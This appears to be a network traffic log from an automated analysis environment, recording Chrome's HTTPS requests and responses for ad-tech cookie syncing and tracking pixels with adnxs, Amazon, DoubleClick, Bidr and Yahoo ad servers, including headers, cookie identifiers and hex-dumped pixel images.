2024-04-27 22:42:16 UTC	1003	OUT	GET /getuid?https%3A%2F%2Fx.bidswitch.net%2Fsync%3Fdsp_id%3D480%26ssp%3Dthemediagrid%26user_id%3D%24UID%26&gdpr=&gdpr_consent= HTTP/1.1 Host: secure.adnxs.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ssp-sync.criteo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XANDR_PANID=3_kdcFG2MD1Iuq9CVgb7VR-1lmG5ItmyjzbJvetw9CfEFyFBW1QGIhAdKDk_MxJpRKyUxABh8k8vzLSqeZaGKytscrCRvXVID4i5JFAzoLw.; receive-cookie-deprecation=1; uuid2=1476058396850158061; anj=dTM7k!M41.D>6NRF']wIg2Hc#u`tfT!A#Eo(<j<dINiYhTyXnfi8FW/Zpm5E[80f<kjl:mhj)Y2eEqCv^C=ecXEM1/X%W#.wL4W1Qw2.Sw':%
2024-04-27 22:42:16 UTC	1470	IN	HTTP/1.1 302 Found Server: nginx/1.23.4 Date: Sat, 27 Apr 2024 22:42:16 GMT Content-Type: text/html; charset=utf-8 Content-Length: 0 Connection: close Cache-Control: no-store, no-cache, private Pragma: no-cache Expires: Sat, 15 Nov 2008 16:00:00 GMT P3P: policyref="http://cdn.adnxs-simple.com/w3c/policy/p3p.xml", CP="NOI DSP COR ADM PSAo PSDo OURo SAMo UNRo OTRo BUS COM NAV DEM STA PRE" X-XSS-Protection: 0 Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: * Accept-CH: Sec-CH-UA-Full-Version-List,Sec-CH-UA-Arch,Sec-CH-UA-Model,Sec-CH-UA-Platform-Version,Sec-CH-UA-Bitness Location: https://x.bidswitch.net/sync?dsp_id=480&ssp=themediagrid&user_id=1476058396850158061&&gdpr=&gdpr_consent= AN-X-Request-Uuid: a47e55f1-7663-4207-a08a-9ab02858d03f Set-Cookie: XANDR_PANID=3_kdcFG2MD1Iuq9CVgb7VR-1lmG5ItmyjzbJvetw9CfEFyFBW1QGIhAdKDk_MxJpRKyUxABh8k8vzLSqeZaGKytscrCRvXVID4i5JFAzoLw.; SameSite=None; Path=/; Max-Age=7776000; Expires=Fri, 26-Jul-2024 22:42:16 GMT; Domain=.adnxs.com; Secure; Partitioned Set-Cookie: receive-cookie-deprecation=1; SameSite=None; Path=/; Max-Age=314496000; Expires=Sat, 15-Apr-2034 22:42:16 GMT; Domain=.adnxs.com; Secure; HttpOnly; Partitioned Set-Cookie: uuid2=1476058396850158061; SameSite=None; Path=/; Max-Age=7776000; Expires=Fri, 26-Jul-2024 22:42:16 GMT; Domain=.adnxs.com; Secure; HttpOnly X-Proxy-Origin: 149.18.24.69; 149.18.24.69; 582.bm-nginx-loadbalancer.mgmt.nym2.adnexus.net; adnxs.com

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
416	192.168.2.4	50272	52.95.115.196	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:16 UTC	718	OUT	GET /s/dcm?pid=a38a8ddf-19a7-4ab8-ba05-0a61de92a7e5&id=&gdpr=0&us_privacy=1YNN HTTP/1.1 Host: aax-eu.amazon-adsystem.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://eus.rubiconproject.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: ad-id=AyzDX-0vP0UYm8DYlkzC7x4; ad-privacy=0
2024-04-27 22:42:16 UTC	807	IN	HTTP/1.1 200 OK Server: Server Date: Sat, 27 Apr 2024 22:42:16 GMT Content-Type: image/gif Content-Length: 43 Connection: close x-amz-rid: T03D7FTEX0ZAJKA5Y2GB Set-Cookie: ad-id=AyzDX-0vP0UYm8DYlkzC7x4; Domain=.amazon-adsystem.com; Expires=Wed, 01-Jan-2025 22:42:16 GMT; Path=/; Secure; HttpOnly; SameSite=None Set-Cookie: ad-privacy=0; Domain=.amazon-adsystem.com; Expires=Sun, 01-Jul-2029 22:42:16 GMT; Path=/; Secure; HttpOnly; SameSite=None Cache-Control: max-age=0, no-cache, no-store, private, must-revalidate, s-maxage=0 Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT p3p: policyref="https://www.amazon.com/w3c/p3p.xml", CP="PSAo PSDo OUR SAM OTR DSP COR" Vary: Content-Type,Accept-Encoding,User-Agent Strict-Transport-Security: max-age=47474747; includeSubDomains; preload
2024-04-27 22:42:16 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 f0 01 00 c0 c0 c0 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
417	192.168.2.4	50282	142.251.167.154	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:16 UTC	848	OUT	GET /pixel?google_nid=rubicon&google_hm=NjgyNWY3MTgzMzJkNWYyZTNmYTQyYzdjNTc1NTFhYjc4MDE4MDUxNg&gdpr=0&us_privacy=1YNN HTTP/1.1 Host: cm.g.doubleclick.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://eus.rubiconproject.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: IDE=AHWqTUkYo_qaJB8t4vD6z0JcvLuH2PUt4-24vSE0hsN84PAMJB6T_Vc-cTtoFUn2; ar_debug=1; APC=AfxxVi57njaBhV1ZeX-EyHfl729z-ajT-mAWBRM5lhyvI-DCu7Azfw
2024-04-27 22:42:16 UTC	374	IN	HTTP/1.1 200 OK Content-Type: image/png Date: Sat, 27 Apr 2024 22:42:16 GMT Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: no-cache, must-revalidate Cross-Origin-Resource-Policy: cross-origin Server: HTTP server (unknown) Content-Length: 170 X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-04-27 22:42:16 UTC	170	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 01 00 00 00 01 08 06 00 00 00 1f 15 c4 89 00 00 00 06 62 4b 47 44 00 ff 00 ff 00 ff a0 bd a7 93 00 00 00 09 70 48 59 73 00 00 0b 13 00 00 0b 13 01 00 9a 9c 18 00 00 00 07 74 49 4d 45 07 d7 05 1d 0d 0d 2d 51 d5 37 6e 00 00 00 1d 74 45 58 74 43 6f 6d 6d 65 6e 74 00 43 72 65 61 74 65 64 20 77 69 74 68 20 54 68 65 20 47 49 4d 50 ef 64 25 6e 00 00 00 0d 49 44 41 54 08 d7 63 a8 69 79 e5 00 00 05 95 02 2b 03 a2 de f7 00 00 00 00 49 45 4e 44 ae 42 60 82 0a Data Ascii: PNGIHDRbKGDpHYstIME-Q7ntEXtCommentCreated with The GIMPd%nIDATciy+IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
418	192.168.2.4	50273	54.146.215.124	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:16 UTC	642	OUT	GET /cookie-sync/rp?bee_sync_partners=rp&gdpr=0&us_privacy=1YNN HTTP/1.1 Host: match.prod.bidr.io Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://eus.rubiconproject.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-27 22:42:16 UTC	411	IN	HTTP/1.1 303 See Other Date: Sat, 27 Apr 2024 22:42:16 GMT location: https://match.prod.bidr.io/cookie-sync/rp?bee_sync_partners=rp&gdpr=0&us_privacy=1YNN&_bee_ppp=1 Server: gunicorn set-cookie: checkForPermission=ok; Domain=bidr.io; expires=Sat, 27 Apr 2024 22:52:16 GMT; Path=/; SameSite=None; Secure strict-transport-security: max-age=2592000; includeSubDomains Content-Length: 0 Connection: Close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
419	192.168.2.4	50283	68.67.160.76	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:16 UTC	935	OUT	GET /getuid?https://ads.yieldmo.com/v000/sync?userid=$UID&pn_id=an HTTP/1.1 Host: ib.adnxs.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ads.yieldmo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XANDR_PANID=3_kdcFG2MD1Iuq9CVgb7VR-1lmG5ItmyjzbJvetw9CfEFyFBW1QGIhAdKDk_MxJpRKyUxABh8k8vzLSqeZaGKytscrCRvXVID4i5JFAzoLw.; receive-cookie-deprecation=1; uuid2=1476058396850158061; anj=dTM7k!M41.D>6NRF']wIg2Hc#u`tfT!A#Eo(<j<dINiYhTyXnfi8FW/Zpm5E[80f<kjl:mhj)Y2eEqCv^C=ecXEM1/X%W#.wL4W1Qw2.Sw':%
2024-04-27 22:42:16 UTC	1434	IN	HTTP/1.1 302 Found Server: nginx/1.23.4 Date: Sat, 27 Apr 2024 22:42:16 GMT Content-Type: text/html; charset=utf-8 Content-Length: 0 Connection: close Cache-Control: no-store, no-cache, private Pragma: no-cache Expires: Sat, 15 Nov 2008 16:00:00 GMT P3P: policyref="http://cdn.adnxs-simple.com/w3c/policy/p3p.xml", CP="NOI DSP COR ADM PSAo PSDo OURo SAMo UNRo OTRo BUS COM NAV DEM STA PRE" X-XSS-Protection: 0 Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: * Accept-CH: Sec-CH-UA-Full-Version-List,Sec-CH-UA-Arch,Sec-CH-UA-Model,Sec-CH-UA-Platform-Version,Sec-CH-UA-Bitness Location: https://ads.yieldmo.com/v000/sync?userid=1476058396850158061&pn_id=an AN-X-Request-Uuid: 87d37003-fdd4-46a8-b69b-6fc72c172523 Set-Cookie: XANDR_PANID=3_kdcFG2MD1Iuq9CVgb7VR-1lmG5ItmyjzbJvetw9CfEFyFBW1QGIhAdKDk_MxJpRKyUxABh8k8vzLSqeZaGKytscrCRvXVID4i5JFAzoLw.; SameSite=None; Path=/; Max-Age=7776000; Expires=Fri, 26-Jul-2024 22:42:16 GMT; Domain=.adnxs.com; Secure; Partitioned Set-Cookie: receive-cookie-deprecation=1; SameSite=None; Path=/; Max-Age=314496000; Expires=Sat, 15-Apr-2034 22:42:16 GMT; Domain=.adnxs.com; Secure; HttpOnly; Partitioned Set-Cookie: uuid2=1476058396850158061; SameSite=None; Path=/; Max-Age=7776000; Expires=Fri, 26-Jul-2024 22:42:16 GMT; Domain=.adnxs.com; Secure; HttpOnly X-Proxy-Origin: 149.18.24.69; 149.18.24.69; 678.bm-nginx-loadbalancer.mgmt.nym2.adnexus.net; adnxs.com

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
420	192.168.2.4	50286	142.251.167.154	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:16 UTC	819	OUT	GET /pixel?google_nid=rp&google_cm&google_hm=TFZJT1NBMVctNy02RENN&gdpr=0&us_privacy=1YNN HTTP/1.1 Host: cm.g.doubleclick.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://eus.rubiconproject.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: IDE=AHWqTUkYo_qaJB8t4vD6z0JcvLuH2PUt4-24vSE0hsN84PAMJB6T_Vc-cTtoFUn2; ar_debug=1; APC=AfxxVi57njaBhV1ZeX-EyHfl729z-ajT-mAWBRM5lhyvI-DCu7Azfw
2024-04-27 22:42:16 UTC	686	IN	HTTP/1.1 302 Found P3P: policyref="https://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml", CP="CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Location: https://pixel.rubiconproject.com/exchange/sync.php?p=dfp&gdpr=0&google_gid=CAESEKKKMcGK33dMEx-XzqFKIaE&google_cver=1 Date: Sat, 27 Apr 2024 22:42:16 GMT Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: no-cache, must-revalidate Cross-Origin-Resource-Policy: cross-origin Content-Type: text/html; charset=UTF-8 Server: HTTP server (unknown) Content-Length: 325 X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-04-27 22:42:16 UTC	325	IN	Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 54 49 54 4c 45 3e 33 30 32 20 4d 6f 76 65 64 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 33 30 32 20 4d 6f 76 65 64 3c 2f 48 31 3e 0a 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 0a 3c 41 20 48 52 45 46 3d 22 68 74 74 70 73 3a 2f 2f 70 69 78 65 6c 2e 72 75 62 69 63 6f 6e 70 72 6f 6a 65 63 74 2e 63 6f 6d 2f 65 78 63 68 61 6e 67 65 2f 73 79 6e 63 2e 70 68 70 3f 70 3d 64 66 70 26 61 6d 70 3b 67 64 70 72 3d 30 26 61 6d 70 3b 67 6f 6f 67 6c 65 5f 67 69 64 3d 43 41 45 53 Data Ascii: <HTML><HEAD><meta http-equiv="content-type" content="text/html;charset=utf-8"><TITLE>302 Moved</TITLE></HEAD><BODY><H1>302 Moved</H1>The document has moved<A HREF="https://pixel.rubiconproject.com/exchange/sync.php?p=dfp&gdpr=0&google_gid=CAES

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
421	192.168.2.4	50290	54.83.59.21	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:16 UTC	1052	OUT	GET /sync/rubicon/-oeb6kQmDMBey4liNJzSkw?csrc=&gdpr=0&us_privacy=1YNN HTTP/1.1 Host: pr-bh.ybp.yahoo.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://eus.rubiconproject.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A3=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; cmp=t=1714257709&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; axids=gam=y-YhU_4VlE2uKeNX7PHM8XonrbkezQHb0Z~A&dv360=eS1wZjlTZkxORTJ1RlFnUHQ3U1kxNlcuZkxvcHoyVTNzQX5B&ydsp=y-jbTZJGZE2uLrRZGRFNskE6ZV5Anw2j42~A&tbla=y-JBfSm7FE2uKAvLz8j1WHQk70S7DkHdso~A; tbla_id=5a70d3d2-b192-4103-be6f-b86fec483fbc-tuctd2704b2
2024-04-27 22:42:16 UTC	873	IN	HTTP/1.1 302 Found Date: Sat, 27 Apr 2024 22:42:16 GMT Content-Length: 0 Connection: close Location: https://pixel.rubiconproject.com/tap.php?v=31950&nid=2974&put=y-xBWpw8tE2oJP.kr_ymV7owXT6992KLUFCY9Efw--~A Age: 0 Strict-Transport-Security: max-age=31536000 Server: ATS Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-Frame-Options: DENY X-Content-Type-Options: nosniff Referrer-Policy: strict-origin-when-cross-origin Content-Security-Policy: sandbox; default-src 'self'; script-src 'none'; object-src 'none'; report-uri http://csp.yahoo.com/beacon/csp?src=generic Set-Cookie: A3=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; Expires=Mon, 28 Apr 2025 04:42:16 GMT; Max-Age=31557600; Domain=.yahoo.com; Path=/; SameSite=None; Secure; HttpOnly

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
422	192.168.2.4	50289	69.147.92.12	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:16 UTC	2016	OUT	GET /setuid?bidder=adobe&gdpr=0&gdpr_consent=&gpp=DBAA&gpp_sid=-1&f=i&uid=Zi1-PgAAvwsNrQAF HTTP/1.1 Host: pbs.yahoo.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A1=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; A3=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; A1S=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; cmp=t=1714257709&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; axids=gam=y-YhU_4VlE2uKeNX7PHM8XonrbkezQHb0Z~A&dv360=eS1wZjlTZkxORTJ1RlFnUHQ3U1kxNlcuZkxvcHoyVTNzQX5B&ydsp=y-jbTZJGZE2uLrRZGRFNskE6ZV5Anw2j42~A&tbla=y-JBfSm7FE2uKAvLz8j1WHQk70S7DkHdso~A; tbla_id=5a70d3d2-b192-4103-be6f-b86fec483fbc-tuctd2704b2; uids=eyJ0ZW1wVUlEcyI6eyJhZG54cyI6eyJ1aWQiOiIxNDc2MDU4Mzk2ODUwMTU4MDYxIiwiZXhwaXJlcyI6IjIwMjQtMDUtMTFUMjI6NDI6MTAuNzcyNzc5NjkxWiJ9LCJvcGVueCI6eyJ1aWQiOiJlMzcxYjFjZC1iMjUzLTA5MTMtMTUzYS1lYWFjYjliOTRjNTMiLCJleHBpcmVzIjoiMjAyNC0wNS0xMVQyMjo0MjowNi4yMDMzNzYwOTVaIn0sInNoYXJldGhyb3VnaCI6eyJ1aWQiOiI1MWI5NTEzZC0zMWZiLTRlMTMtOGE5Ni0zMjY2MTZkMDA0M2YiLCJleHBpcmVzIjoiMjAyNC0wNS0xMVQyMjo0MjowNC44NTk4NDk2OFoifSwic292cm4iOnsidWlkIjoiS [TRUNCATED]
2024-04-27 22:42:16 UTC	1295	IN	HTTP/1.1 200 OK content-type: image/png set-cookie: uids=eyJ0ZW1wVUlEcyI6eyJhZG54cyI6eyJ1aWQiOiIxNDc2MDU4Mzk2ODUwMTU4MDYxIiwiZXhwaXJlcyI6IjIwMjQtMDUtMTFUMjI6NDI6MTAuNzcyNzc5NjkxWiJ9LCJhZG9iZSI6eyJ1aWQiOiJaaTEtUGdBQXZ3c05yUUFGIiwiZXhwaXJlcyI6IjIwMjQtMDUtMTFUMjI6NDI6MTYuNDkyNTQ3ODAyWiJ9LCJvcGVueCI6eyJ1aWQiOiJlMzcxYjFjZC1iMjUzLTA5MTMtMTUzYS1lYWFjYjliOTRjNTMiLCJleHBpcmVzIjoiMjAyNC0wNS0xMVQyMjo0MjowNi4yMDMzNzYwOTVaIn0sInNoYXJldGhyb3VnaCI6eyJ1aWQiOiI1MWI5NTEzZC0zMWZiLTRlMTMtOGE5Ni0zMjY2MTZkMDA0M2YiLCJleHBpcmVzIjoiMjAyNC0wNS0xMVQyMjo0MjowNC44NTk4NDk2OFoifSwic292cm4iOnsidWlkIjoiSWtFU0FUWkg4MV9GYXB2elJ4R1FROHJ1IiwiZXhwaXJlcyI6IjIwMjQtMDUtMTFUMjI6NDI6MTEuODA0NjczMzE3WiJ9LCJ0dGQiOnsidWlkIjoiNDNlN2RjOGUtNTQ1OC00Mzc1LWJlNGEtNjQ0NzM3ZWQ0ZGJkIiwiZXhwaXJlcyI6IjIwMjQtMDUtMTFUMjI6NDI6MDkuMTczMDU5NzYxWiJ9LCJ5aWVsZG1vIjp7InVpZCI6IlZjSm5TU1NYWG5TcTE5QUw5a1NRIiwiZXhwaXJlcyI6IjIwMjQtMDUtMTFUMjI6NDI6MTUuOTgwMDY3NTgyWiJ9fX0=; Path=/; Domain=pbs.yahoo.com; Expires=Sat, 26 Oct 2024 22:42:16 GMT; HttpOnly; Secure; SameSite=None vary: Origin content-length: 86 date: Sat, 27 Apr 2024 22:42:16 GMT x-envoy-upstream-service-time: 2 server: ATS x-envoy-decorator-operation: pbs--production-usea5.mediaplatform-gcp-prod-monetization.svc.cluster.local:4080/* Referrer-Policy: no-referrer-when-downgrade
2024-04-27 22:42:16 UTC	250	IN	Data Raw: 41 67 65 3a 20 30 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 53 74 72 69 63 74 2d 54 72 61 6e 73 70 6f 72 74 2d 53 65 63 75 72 69 74 79 3a 20 6d 61 78 2d 61 67 65 3d 33 31 35 33 36 30 30 30 0d 0a 45 78 70 65 63 74 2d 43 54 3a 20 6d 61 78 2d 61 67 65 3d 33 31 35 33 36 30 30 30 2c 20 72 65 70 6f 72 74 2d 75 72 69 3d 22 68 74 74 70 3a 2f 2f 63 73 70 2e 79 61 68 6f 6f 2e 63 6f 6d 2f 62 65 61 63 6f 6e 2f 63 73 70 3f 73 72 63 3d 79 61 68 6f 6f 63 6f 6d 2d 65 78 70 65 63 74 2d 63 74 2d 72 65 70 6f 72 74 2d 6f 6e 6c 79 22 0d 0a 58 2d 58 53 53 2d 50 72 6f 74 65 63 74 69 6f 6e 3a 20 31 3b 20 6d 6f 64 65 3d 62 6c 6f 63 6b 0d 0a 58 2d 43 6f 6e 74 65 6e 74 2d 54 79 70 65 2d 4f 70 74 69 6f 6e 73 3a 20 6e 6f 73 6e 69 66 66 0d 0a 0d 0a Data Ascii: Age: 0Connection: closeStrict-Transport-Security: max-age=31536000Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only"X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniff
2024-04-27 22:42:16 UTC	86	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 01 00 00 00 01 08 06 00 00 00 1f 15 c4 89 00 00 00 04 73 42 49 54 08 08 08 08 7c 08 64 88 00 00 00 0d 49 44 41 54 08 99 63 60 60 60 60 00 00 00 05 00 01 87 a1 4e d4 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDRsBIT\|dIDATc````NIENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
423	192.168.2.4	50292	172.253.63.148	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:16 UTC	523	OUT	POST /.well-known/attribution-reporting/debug/verbose HTTP/1.1 Host: ad.doubleclick.net Connection: keep-alive Content-Length: 253 Pragma: no-cache Cache-Control: no-cache Content-Type: application/json Origin: https://ad.doubleclick.net Sec-Fetch-Site: same-origin Sec-Fetch-Mode: same-origin Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-27 22:42:16 UTC	253	OUT	Data Raw: 5b 7b 22 62 6f 64 79 22 3a 7b 22 61 74 74 72 69 62 75 74 69 6f 6e 5f 64 65 73 74 69 6e 61 74 69 6f 6e 22 3a 5b 22 68 74 74 70 73 3a 2f 2f 62 65 61 75 74 79 72 65 73 74 2e 63 6f 6d 22 2c 22 68 74 74 70 73 3a 2f 2f 73 65 72 74 61 2e 63 6f 6d 22 2c 22 68 74 74 70 73 3a 2f 2f 74 75 66 74 61 6e 64 6e 65 65 64 6c 65 2e 63 6f 6d 22 5d 2c 22 73 6f 75 72 63 65 5f 64 65 62 75 67 5f 6b 65 79 22 3a 22 39 39 37 39 32 36 39 32 38 38 31 36 30 37 30 35 36 38 35 22 2c 22 73 6f 75 72 63 65 5f 65 76 65 6e 74 5f 69 64 22 3a 22 31 36 30 38 34 33 30 36 39 37 33 34 30 32 36 31 31 30 38 32 22 2c 22 73 6f 75 72 63 65 5f 73 69 74 65 22 3a 22 68 74 74 70 73 3a 2f 2f 79 61 68 6f 6f 2e 63 6f 6d 22 7d 2c 22 74 79 70 65 22 3a 22 73 6f 75 72 63 65 2d 73 75 63 63 65 73 73 22 7d 5d Data Ascii: [{"body":{"attribution_destination":["https://beautyrest.com","https://serta.com","https://tuftandneedle.com"],"source_debug_key":"9979269288160705685","source_event_id":"16084306973402611082","source_site":"https://yahoo.com"},"type":"source-success"}]
2024-04-27 22:42:16 UTC	493	IN	HTTP/1.1 200 OK P3P: policyref="https://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml", CP="CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Timing-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Content-Type: text/html; charset=UTF-8 X-Content-Type-Options: nosniff Date: Sat, 27 Apr 2024 22:42:16 GMT Server: cafe Content-Length: 0 X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
